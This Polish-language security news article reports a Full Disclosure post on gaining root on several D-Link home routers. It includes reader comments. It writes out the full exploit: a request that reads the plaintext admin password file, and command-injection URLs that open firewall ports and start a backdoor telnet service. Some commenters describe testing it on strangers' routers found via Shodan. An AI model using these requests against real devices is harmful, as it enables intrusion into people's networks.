Domowe rutery nie przestają być źródłem ciekawych odkryć. Trudno powiedzieć, czy więcej w nich tylnych furtek, czy trywialnych błędów. Tym razem padło ponownie na sprzęt D-Linka, w którym dzięki prostym błędom można uzyskać prawa roota.
Dzisiaj w nocy na liście Full Disclosure pojawił się post opisujący, jak w prosty sposób uzyskać uprawnienia administratora na ruterach D-Linka DIR-300, DIR-320, DIR-600 oraz DIR-615. Błąd prawdopodobnie może dotyczyć także innych modeli.
Drogi D-Linku, ileż można?
Całkiem niedawno opisywaliśmy trywialną tylną furtkę w niektórych modelach (dopiero co załataną), a dzisiaj pokazujemy, jak w kilku krokach zalogować się do rutera. Pierwszym krokiem jest uzyskanie dostępu do interfejsu www rutera – albo w sieci lokalnej, albo zdalnie (biorąc pod uwagę popularność tych urządzeń, część z nich jest bez wątpienia dostępna publicznie). Następnie należy do rutera wysłać żądanie o treści:
http://IP/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
W odpowiedzi otrzymamy plik z loginem i hasłem konta administracyjnego. Niczego nie trzeba dekodować – są one zapisane otwartym tekstem.
Używając tych danych trzeba zalogować się do interfejsu administracyjnego i na przykład wykonać następujący zestaw poleceń za pomocą interfejsu www:
http://IP/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i eth0.2 -p tcp --dport $TPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null; http://IP/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i eth0.2 -p tcp --dport $UPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null; http://IP/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/telnetd -p 31337 -l /usr/sbin/login -u hacked:me&set/runtime/syslog/sendmail=1" 1>/dev/null;
W efekcie powinniśmy zobaczyć na ruterze otwarty port usługi telnet, do której można się zalogować za pomocą loginu „hacked” i hasła „me”. Jeśli komuś nie chce się bawić w klepanie lub przeklejanie poleceń, zawsze może skorzystać z gotowego skryptu, opublikowanego wraz z informacją o błędzie.
Błąd był wcześniej znany
Metoda dobrania się do pliku z hasłami D-Linka była już wcześniej znana naszym braciom Rosjanom co najmniej od czerwca tego roku. Co ciekawe, znał ją również producent D-Linka, ponieważ załatał ją w urządzeniu DAP-2553 w wersji oprogramowania z 8 listopada 2013. Nie natrafiliśmy jednak na ślady podobnych poprawek w innych urządzeniach.
Autorzy publikacji na liście Full Disclosure
Jako ciekawostkę dodamy, że autorami publikacji są prawdopodobnie nasi rodacy. Ukrywają się pod adresem email o loginie „tytusromekiatomek” oraz pseudonimami
AKAT-1 22733db72ab3ed94b5f8a1ffcde850251fe6f466 c8e74ebd8392fda4788179f9a02bb49337638e7b
Pod tym szyldem opublikowali w tym roku sporą garść błędów, w tym w OpenSSL, Varnishu, Squidzie, SIP Witch, Apache Subversion, MS HTTP.sys czy telewizorach Samsunga, a wcześniej pod nieco innymi pseudonimami drugie tyle dziur w wielu popularnych platformach.
Komentarze
Na DIR-600, rewizja B5, wersja firmware 2.15 (Wed 06 Feb 2013) nie działa – pokazuje 404.
Na DIR-600 Firmware Version : 2.16 Hardware Version : Bx też 404
DIR-600 rev B5, firmware 2.10, Wed 26 Jan 2011
to samo – 404
” 1>/dev/null; To jest tylko przekierowanie wyjścia polecenia curl do nulla, aby nie śmieciło w konsoli podczas wykonywania skryptu…
Nie żebym się jakoś mocno czepiał ale skrypt ma chyba kilka błędów:
Przykładowo w linii 31: curl -d ” ” -sS ” „; | grep -v ” ”
Na moje oko to nie może działać przez ; ktory jest przed przekazaniem do grepa.
Ale ja orłem z shella nie jestem – może mi ktoś powie czy mam rację czy się mylę..
Na dir-300 nie działa, sprawdziłem kilkanaście 10 z pomocą shodanhq.
TO jakiś FAKE, polecam zabawę z shodanhq – dla wspomnianych modeli.
Ja nie trafiłem na żaden router który pozwalałby na włam.
DIR-615, firmware: 8.02, rev H1
nie działa.
DIR-300, Firmware Version : 1.04 – działa…
DIR-615 Firmware Version: 8.04
nie działa
DIR-300, Firmware Version : 2.05 , Mon 15 Nov 2010 – działa